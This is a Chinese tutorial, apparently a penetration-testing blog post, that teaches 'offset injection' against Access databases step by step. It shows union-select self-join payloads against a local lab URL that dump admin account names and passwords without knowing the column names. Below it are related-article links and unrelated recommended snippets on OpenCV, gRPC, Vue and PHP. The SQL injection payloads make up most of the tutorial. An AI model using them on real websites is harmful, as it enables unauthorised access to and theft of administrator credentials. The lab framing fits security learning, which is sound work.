偏移注入指access偏移注入,由于数据库结构的问题,偏移注入只适用于access数据库。对于access数据库来说,无论是逐字猜解还是联合查询注入,都是需要我们能够猜到用户名和密码的列名(字段),才可以注入出数据,而有的时候,站长取的字段名很另类,我们猜不出来的时候,就需要偏移注入了。

 偏移注入的前提:

  猜出表名,且知道一个或多个字段。(access)

 如果当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,这样我们成功率会更高。意思就是管理表字段越少越好,最好只有id,username,password三个字段。

 下面我本地搭个环境来演示:

  目标站:192.168.17.128/0

这里是注入点。http://192.168.17.128/0/Production/PRODUCT_DETAIL.asp?id=1513

当前注入点字段数22,管理表名admin,下面直接联合查询爆显位。

3和15为显位,这时候我们跑不出字段,选择偏移注入。

判断管理表内存在的字段数。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

继续,直到返回正常。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin

到16返回正常,那么我们此时得出admin表下有6个字段。(字段数-返回正常字段数  22-16=6)

这里要说一下"admin as a inner join admin as b on a.id=b.id"的意思,下面要用到,把admin表命名a表,b表,打印a.id=b.id的所有行。这里是admin表的自连接,admin为表名, id为字段(可以是其他已知字段)。

偏移注入的基本公式为:order by 出的字段数-*号的字段数x2。这里是22-6*2=10,那么开始构造payload,

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

这里偏移到了管理员创建时间这个字段了(我也猜的,反正不是我们要的),然后下面就要利用到隐性显位了,我们可以"查看网页源代码"。

可以看到密码了,心情逐渐忐忑…哈哈。

这时候已经得到了密码,却没有账号怎么办,我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。在字段后面插个a.id,b.id,

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)

或者只加a.id也可以打乱信息组合,

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)

这样经过了两次偏移我们得到了管理员账号密码。不过这里只是一级偏移,在字段足够多的时候,我们可以多级偏移,成功率会高很多,

这个时候我们再去掉6个字段(管理表下的字段数),增加c.id代替字段重新打乱组合,

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)

这次隐性显位一次性爆出了管理账号密码,啧啧,这时候也解释了前面为什么说当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,成功率会更高了。

PS:偏移注入只适用于access数据库。

渗透测试----access偏移注入的更多相关文章

  1. access偏移注入原理

    前言:近段时间在学习access偏移注入时,在网上查询了大量的资料,感觉很多资料讲解的十分模糊并且我个人认为有很多不够严谨的地方,于是我便在线下经过大量测试,写出以下文章,如有错误,望指出. 如要转载 ...

  2. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  3. Web渗透测试(sql注入 access,mssql,mysql,oracle,)

    Access数据库注入: access数据库由微软发布的关系型数据库(小型的),安全性差. access数据库后缀名位*.mdb, asp中连接字符串应用-- "Driver={micros ...

  4. access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

  5. ACCESS 手工注入

    ACCESS的注入,基本是死的.思路很简单,基本都可以工具解决.上代码: 1.判断有无注入点' and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pa ...

  6. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  7. Access数据库之偏移注入

    /*转载请注明出处:珍惜少年时*/ 偏移注入主要是针对知道表,但是不知道字段的. 这里我已经知道了表明是:sys_admin 可以使用: select exists(selct * from sys_ ...

  8. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  9. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

随机推荐

  1. opencv3 编程入门学习笔记(一): 基本函数介绍

    滤波 blur (均值滤波) 均值滤波是典型的线性滤波算法, 主要方法为领域平均法(即用一片图像区域的各个像素的平均值来代替原图像中的各个像素值) 缺点: 不能很好的保护图像细节, 在图像去噪的同时也 ...

  2. net core 3.0 之Grpc新特性小试牛刀

      相信微服务大家伙都有听说和知道,好处弊端咱也不多说了,Grpc算是一个比较全面的微服务框架,也得到微软的支持 总结下来就是,跨平台,可靠,通信快,扩展性强,网络消耗小,模板多语言通用 光说好处,没 ...

  3. tab栏切换制作

    tab栏切换制作 先上图 要求1:默认状态,第一个选项卡被选中,展示第一个选项卡的内容 策略:第一个选项卡默认有被选中的样式,第一个选项卡对应的display: block,其他的dispaly设为n ...

  4. 集成 Spring Boot 常用组件的后台快速开发框架 spring-boot-plus 国

    spring-boot-plus是一套集成spring boot常用开发组件的后台快速开发框架 Purpose 每个人都可以独立.快速.高效地开发项目! Everyone can develop pr ...

  5. Vue+ElementUI项目使用webpack输出MPA

    目录 Vue+ElementUI项目使用webpack输出MPA 一. 需求分析 二. 原方案分析 三. 多页面改造3步走 四. 小结 Vue+ElementUI项目使用webpack输出MPA 示例 ...

  6. Leetcode之回溯法专题-46. 全排列(Permutations)

    Leetcode之回溯法专题-46. 全排列(Permutations) 给定一个没有重复数字的序列,返回其所有可能的全排列. 示例: 输入: [1,2,3] 输出: [ [1,2,3], [1,3, ...

  7. 深入剖析PHP7内核源码(二)- PHP变量容器

    简介 PHP的变量使用起来非常方便,其基本结构是底层实现的zval,PHP7采用了全新的zval,由此带来了非常大的性能提升,本文重点分析PHP7的zval的改变. PHP5时代的ZVAL typed ...

  8. Springboot学习与mybatis逆向生成工具

    最近H2数据库越用越觉得方便,在不同办公处无缝继续demo的感觉就是爽.   今天接上一篇Springboot简洁整合mybatis,补上sts(即eclipse)使用mybatis generato ...

  9. xcode删除一个项目

    退出xcode. 在Finder中删除项目文件夹.

  10. selenium webdriver (python)第三版.pdf

    转载自:http://download.csdn.net/detail/waiwaijsj/7214035 是原作者根据自己的经验整理的,很实用.